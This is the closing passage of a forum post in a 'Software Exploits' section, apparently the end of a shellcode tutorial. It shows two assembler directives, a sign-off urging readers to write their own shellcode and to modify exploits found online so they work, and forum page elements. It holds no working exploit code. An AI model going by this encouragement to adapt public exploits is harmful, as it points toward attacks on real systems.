.def _scanf; .scl 2; .type 32; .endef
.def _printf; .scl 2; .type 32; .endef

--------------------------------------------------------------------------



After alot of practice you'll be able to write your own shellcodes and exploit programs.If you
dont,at least you know how this thing works and you'll be able to modify the exploits from the
net to suits your own needs because most of them dont works as they are,they must be modified
a little to make them work.

Have fun,

nebunu
User avatar
kostyanj
Admin
Admin
 
Posts: 836
Joined: Thu Feb 27, 2003 4:08 am

Return to Software Exploits

Who is online

Users browsing this forum: No registered users and 1 guest

cron